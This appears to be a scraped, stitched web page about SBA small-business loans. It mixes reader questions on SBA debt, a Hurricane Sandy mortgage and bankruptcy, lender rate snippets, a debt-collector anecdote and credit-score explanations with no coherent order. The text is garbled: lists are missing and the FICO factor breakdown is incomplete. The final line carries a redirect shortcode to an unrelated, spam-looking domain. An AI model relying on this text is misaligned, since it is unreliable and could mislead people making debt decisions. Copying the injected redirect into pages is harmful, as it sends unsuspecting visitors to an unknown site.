I am not getting any cancellation of my debt with SBA and certainly no offset as income. Do I have to report this as income or is there some way to dispute? Or have I unwillingly allowed this as part of some court proceeding with the debt to SBA
Prior to submitting your application, it is important to consider the documents you’ll need to compile. We require your business’s three most recent bank statements and our one-page application to get started. Depending on other factors, a lender may request a month-to-date bank statement, tax returns, P&L and balance sheet.
If you’re looking for an SBA loan of less than $350,000 for working capital or debt refinancing, SmartBiz is a good choice. It works with partner banks to underwrite SBA 7(a) loans of $30,000 to $350,000, with APRs of 8.27% to 9.57%. The lender also offers SBA 7(a) commercial real estate loans from $500,000 to $5 million with APRs ranging from 6.36% to 6.41%. Read more in our SmartBiz review.
SBA loans are structured to include lower down payments and longer repayment terms than conventional bank loans, enabling businesses to keep their cash flow for operational expenses and spend less on debt repayment. Other benefits include:
There are two loan approvals you’ll need to obtain. First, your bank must review your application and decide whether you meet their qualifications for funding, subject to SBA approval. Banks are obligated to observe the “credit elsewhere” rule, meaning that if your company is qualified for a loan from any other source without the credit insurance provided by SBA, you should be sent there.
John, Our home was significantly damaged in October 2012 by Hurricane Sandy. Since that time we have still been struggling to rebuild & pick up the pieces. We had taken an SBA Loan as a second mortgage to help secure funds to assist with the rebuild & repairs. Due to a number of issues resulting from the storm, we have fell behind with our mortgage payments. We would like to maintain the home but are considering filing a chapter 13. Attorneys (New Jersey) have not advised me if the SBA 2nd mortgage can be stripped. What is your experience with this type of circumstance? Is the SBA 2nd mortgage treated the same as a typical 2nd mortgage from any bank? Do you know of any assistance / programs available to those who sustained damages now dealing with potentional issues of foreclosure? Thank you for your time.
More than likely, you’ll need an excellent business credit score as well as good personal credit to qualify for an SBA loan or traditional loan from a bank; this will depend on the individual lender and business factors such as your revenue, cash flow and time in business. In general, online lenders look at personal credit scores but can be a bit more lenient when it comes to credit score requirements, as they place more emphasis on your business’s cash flow and track record.
CDC / SBA 504 Loan This program combines a loan from a nonprofit CDC with a loan from a bank to create a long term, low interest rate loan for up to $20 million for the purchase of owner occupied commercial real estate and heavy equipment Rates: 3.78 – 5.39%
8. This week I got a call from a person by the name of Danny from a debt collector in New York called “Conserve”. He informed me that he was a debt collector for the Treasury and that I owed $512,348.20 and needed to make arrangements for payment.
Because the SBA doesn’t always fully collateralize an SBA loan with business assets, it’s not uncommon for them to pursue personal assets in the event of a default. I am not an attorney. I would recommend you seek the advice of one familiar with working with these types of issues. I am unaware of anything that would compel a bank to talk settlement.
Business financing options other than traditional loans or lines of credit include personal loans for business or business credit cards. A personal loan for business is a good option if your business is still young and you don’t qualify for traditional financing. Personal-loan providers look at your personal credit score and income instead of your business history.
Your personal credit score ranges from 300 to 850 (the higher, the better), and evaluates your ability to repay your personal debts, such as credit cards, car loans and a mortgage. The FICO score, commonly used in lending decisions, is based on five factors: your payment history (35% of your score), the amounts owed on credit cards and other debt how long you’ve had credit (15%), types of credit in use (10%) and recent credit inquiries (10%). Small-business lenders require a personal credit score for loan applications because they want to see how you manage debt. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]